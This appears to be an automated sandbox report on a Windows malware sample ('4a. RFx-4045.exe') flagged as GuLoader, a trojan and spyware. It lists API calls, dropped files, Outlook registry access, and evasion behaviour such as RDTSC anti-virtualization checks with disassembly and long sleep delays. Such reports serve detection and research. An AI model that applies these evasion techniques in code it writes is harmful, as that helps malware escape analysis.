Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37366440	4_2_37366440
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37369640	4_2_37369640
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_3736C840	4_2_3736C840
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37361C4F	4_2_37361C4F
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37364E4F	4_2_37364E4F
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_3736B24F	4_2_3736B24F
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37360CB3	4_2_37360CB3
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_3736A2B3	4_2_3736A2B3
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_3736D4B3	4_2_3736D4B3
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_373670B1	4_2_373670B1
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_373622A0	4_2_373622A0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_373654A0	4_2_373654A0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_373686A0	4_2_373686A0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_3736B8A0	4_2_3736B8A0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37363EAF	4_2_37363EAF
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37362293	4_2_37362293
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_3736B893	4_2_3736B893
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37365490	4_2_37365490
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37368690	4_2_37368690
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37360680	4_2_37360680
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37363880	4_2_37363880
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37366A80	4_2_37366A80
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37369C80	4_2_37369C80
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_3736CE80	4_2_3736CE80
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_373644F0	4_2_373644F0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_373628E0	4_2_373628E0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37365AE0	4_2_37365AE0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37368CE0	4_2_37368CE0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_3736BEE0	4_2_3736BEE0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_373612EF	4_2_373612EF
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_3736DAEF	4_2_3736DAEF
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37365AD1	4_2_37365AD1
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_3736BED1	4_2_3736BED1
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37360CC0	4_2_37360CC0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37363EC0	4_2_37363EC0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_3736A2C0	4_2_3736A2C0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_3736D4C0	4_2_3736D4C0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37376730	4_2_37376730
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37374F30	4_2_37374F30
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37372B38	4_2_37372B38
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37374C20	4_2_37374C20
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37374F20	4_2_37374F20
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37376720	4_2_37376720
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37372628	4_2_37372628
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37374710	4_2_37374710
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37374200	4_2_37374200
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37371470	4_2_37371470
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37373F79	4_2_37373F79
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37370F60	4_2_37370F60
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37373558	4_2_37373558
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37371E90	4_2_37371E90
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37374998	4_2_37374998
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37371981	4_2_37371981
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37374488	4_2_37374488
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37373CF0	4_2_37373CF0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_373716FB	4_2_373716FB
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_373711E8	4_2_373711E8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_373732D0	4_2_373732D0

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Code function: String function: 00402ACB appears 48 times

Source: 4a. RFx-4045.exe

Static PE information: invalid certificate

Source: 4a. RFx-4045.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/31@5/5

Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 0_2_00403328 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_00403328
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_00403328 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_00403328

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Code function: 0_2_00404605 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_00404605

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Code function: 0_2_004020D1 CoCreateInstance,MultiByteToWideChar,

0_2_004020D1

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

File created: C:\Users\user\AppData\Roaming\Dkvingerne165.ini

Jump to behavior

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

File created: C:\Users\user\AppData\Local\Temp\nsc1898.tmp

Jump to behavior

Source: 4a. RFx-4045.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 4a. RFx-4045.exe	Virustotal: Detection: 12%
Source: 4a. RFx-4045.exe	ReversingLabs: Detection: 13%

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

File read: C:\Users\user\Desktop\4a. RFx-4045.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\4a. RFx-4045.exe "C:\Users\user\Desktop\4a. RFx-4045.exe"
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process created: C:\Users\user\Desktop\4a. RFx-4045.exe "C:\Users\user\Desktop\4a. RFx-4045.exe"
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process created: C:\Users\user\Desktop\4a. RFx-4045.exe "C:\Users\user\Desktop\4a. RFx-4045.exe"	Jump to behavior

Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\anpartsredernes.ini

Jump to behavior

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: 4a. RFx-4045.exe

Static file information: File size 1468848 > 1048576

Source: 4a. RFx-4045.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: Process Memory Space: 4a. RFx-4045.exe PID: 6824, type: MEMORYSTR

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Code function: 0_2_6F951A98 GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_6F951A98

Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 0_2_6F952F20 push eax; ret	0_2_6F952F4E
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_037C9C30 push esp; retf 0383h	4_2_037C9D55
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370D3B58 pushfd ; iretd	4_2_370D3B59
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_37370CD8 push eax; retf	4_2_37370CD9

Persistence and Installation Behavior

AI detected suspicious PE digital signature

Source: Initial sample

Joe Sandbox AI: Detected suspicious elements in PE signature: Multiple highly suspicious indicators: 1) Self-signed certificate (issuer and subject are identical) which is a common malware tactic 2) Invalid signature that fails trust validation 3) Suspicious email domain 'Banegaardens.Hav' which appears non-corporate and possibly randomly generated 4) Large time gap between compilation date (2018) and certificate creation (2024) suggests possible certificate manipulation 5) Organization name 'Utilities' is overly generic and vague 6) Organizational Unit contains strange terms 'Kippage extraduction Eroder' that appear meaningless/randomly generated 7) While US-based certificate provides some legitimacy, the other red flags overwhelm this factor. The combination of self-signing, invalid trust chain, suspicious email/organization names and temporal inconsistencies strongly indicate this is likely a malicious certificate created to masquerade as legitimate software.

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

File created: C:\Users\user\AppData\Local\Temp\nsm1926.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\4a. RFx-4045.exe	API/Special instruction interceptor: Address: 6AEFCFF
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	API/Special instruction interceptor: Address: 1BBFCFF

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\4a. RFx-4045.exe	RDTSC instruction interceptor: First address: 6A860AD second address: 6A860AD instructions: 0x00000000 rdtsc 0x00000002 test cl, al 0x00000004 cmp ebx, ecx 0x00000006 jc 00007FDB3CC125A2h 0x00000008 cmp edi, 08A318D9h 0x0000000e inc ebp 0x0000000f inc ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	RDTSC instruction interceptor: First address: 1B560AD second address: 1B560AD instructions: 0x00000000 rdtsc 0x00000002 test cl, al 0x00000004 cmp ebx, ecx 0x00000006 jc 00007FDB3D477A42h 0x00000008 cmp edi, 08A318D9h 0x0000000e inc ebp 0x0000000f inc ebx 0x00000010 rdtsc

Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Memory allocated: 37C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Memory allocated: 33F40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Memory allocated: 35F40000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Code function: 4_2_3736001E rdtsc

4_2_3736001E

Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 597796	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 597456	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 597218	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 597000	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 596890	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 596562	Jump to behavior
